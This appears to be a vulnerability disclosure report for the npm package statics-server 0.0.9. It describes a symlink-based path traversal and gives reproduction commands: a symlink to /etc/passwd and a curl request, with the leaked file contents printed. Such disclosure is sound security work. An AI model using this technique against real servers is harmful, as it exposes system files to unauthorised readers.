How it was found

I would like to report Path Traversal in statics-server

Module

module name: statics-server version: 0.0.9 npm page: https://www.npmjs.com/package/statics-server

Module Description

npm install statics-server -g Go to the folder you want to statics-server Run the server statics-server

Module Stats

80-100 downloads/month

Vulnerability

Vulnerability Description

Path traversal using symlink.

Steps To Reproduce:

• Install statics-server npm install statics-server -g
• Run statics-server

hawkeye@ubuntu:~/App/$ statics-server
服务器已经启动
访问localhost:8080

• Create a symlink inside your project directory. $ ln -s /etc/passwd passwdsym
• Send request to get file.

hawkeye@ubuntu:~/$ curl localhost:8080/passwdsym
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
...

{F583766}

Patch

Providing a flag to disable/enable following symlinks.

Supporting Material/References:

• Ubuntu 19.04
• Node v10.15.2
• Npm 5.8.0

Wrap up

• I contacted the maintainer to let them know: [N]
• I opened an issue in the related repository: [N]

Impact

It allows attacker to read content of arbitrary file on remote server.